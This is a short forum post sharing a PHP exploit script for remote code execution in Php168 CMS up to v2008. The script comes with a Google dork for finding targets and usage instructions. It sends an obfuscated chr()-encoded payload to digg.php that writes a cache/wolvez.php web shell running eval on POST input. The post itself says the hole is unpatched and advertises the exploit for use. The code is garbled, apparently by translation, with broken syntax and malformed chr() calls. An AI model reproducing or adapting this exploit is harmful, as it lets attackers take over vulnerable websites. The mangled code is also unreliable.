Php168 code execution to be supplemented?

Puret_t

According to the reliable line report, someone has discovered this similar vulnerability [although the vulnerability is different, but in the same file, the same variable is used] and the vulnerability is concurrently on the anti-DDOS service, it is estimated that the official website will release the patch soon, so I am afraid this exp will also be used up :)

#! /Usr/bin/php
<? Php

Print_r (
+ --------------------------------------------------------------------------- +
Php168 <= v2008 remote code execution exploit
By puret_t
Mail: puretot at gmail dot com
Team: http://www.wolvez.org
Dork: "Powered by PHP168"
+ --------------------------------------------------------------------------- +
);
/**
* Works regardless of php. ini settings
*/
If ($ argc <3 ){
Print_r (
+ --------------------------------------------------------------------------- +
Usage: php. $ argv [0]. host path
Host: target server (ip/hostname)
Path: path to php168
Example:
Php. $ argv [0]. localhost/php168/
+ --------------------------------------------------------------------------- +
);
Exit;
}

Error_reporting (7 );
Ini_set (max_execution_time, 0 );

$ Host = $ argv [1];
$ Path = $ argv [2];

$ Cmd = makehtml = 1 & chdb [htmlname] =$ {$ {fputs (fopen (chr (99 ). chr (97 ). chr (99 ). chr (1, 104 ). chr (1, 101 ). chr (47 ). chr (1, 119 ). chr (1, 111 ). chr (1, 108 ). chr (1, 118 ). chr (1, 101 ). chr (1, 122 ). chr (46 ). chr (1, 112 ). chr (1, 104 ). chr (112), chr (119 ). chr (43), chr (60 ). chr (63 ). chr (1, 101 ). chr (1, 118 ). chr (97 ). chr (1, 108 ). chr (40 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ). chr (99 ). chr (93 ). chr (41 ). chr (63 ). chr (62 ). chr (1, 112 ). chr (1, 117 ). chr (1, 114 ). chr (1, 101 ). chr (1, 116 ). chr (95 ). chr (116 ))}};
$ Shell = http: //. $ host. $ path. cache/wolvez. php;
/**
* Wolvez. php has this code:
* <? Eval ($ _ POST [c])?>
*/
Send ($ cmd );

If (! File_get_contents ($ url) & file_get_contents ($ shell) = puret_t)
Exit ("Expoilt Success! View Your shell: $ shell ");
Else
Exit ("Exploit Failed! ");

Function send ($ cmd)
{
Global $ host, $ path;

$ Message = "POST". $ path. "digg. php HTTP/1.1 ";
// $ Message = "POST". $ path. "login. php HTTP/1.1 ";
// $ Message = "POST". $ path. "search. php HTTP/1.1 ";
// $ Message = "POST". $ path. "sendpwd. php HTTP/1.1 ";
// $ Message = "POST". $ path. "showsp. php HTTP/1.1 ";
$ Message. = "Accept :*/*";
$ Message. = "Referer: http: // $ host $ path ";
$ Message. = "Accept-Language: zh-cn ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1 )";
$ Message. = "Host: $ host ";
$ Message. = "Content-Length:". strlen ($ cmd )."";
$ Message. = "Connection: Close ";
$ Message. = $ cmd;

$ Fp = fsockopen ($ host, 80 );
Fputs ($ fp, $ message );

$ Resp =;

While ($ fp &&! Feof ($ fp ))
$ Resp. = fread ($ fp, 1024 );

Return $ resp;
}

?>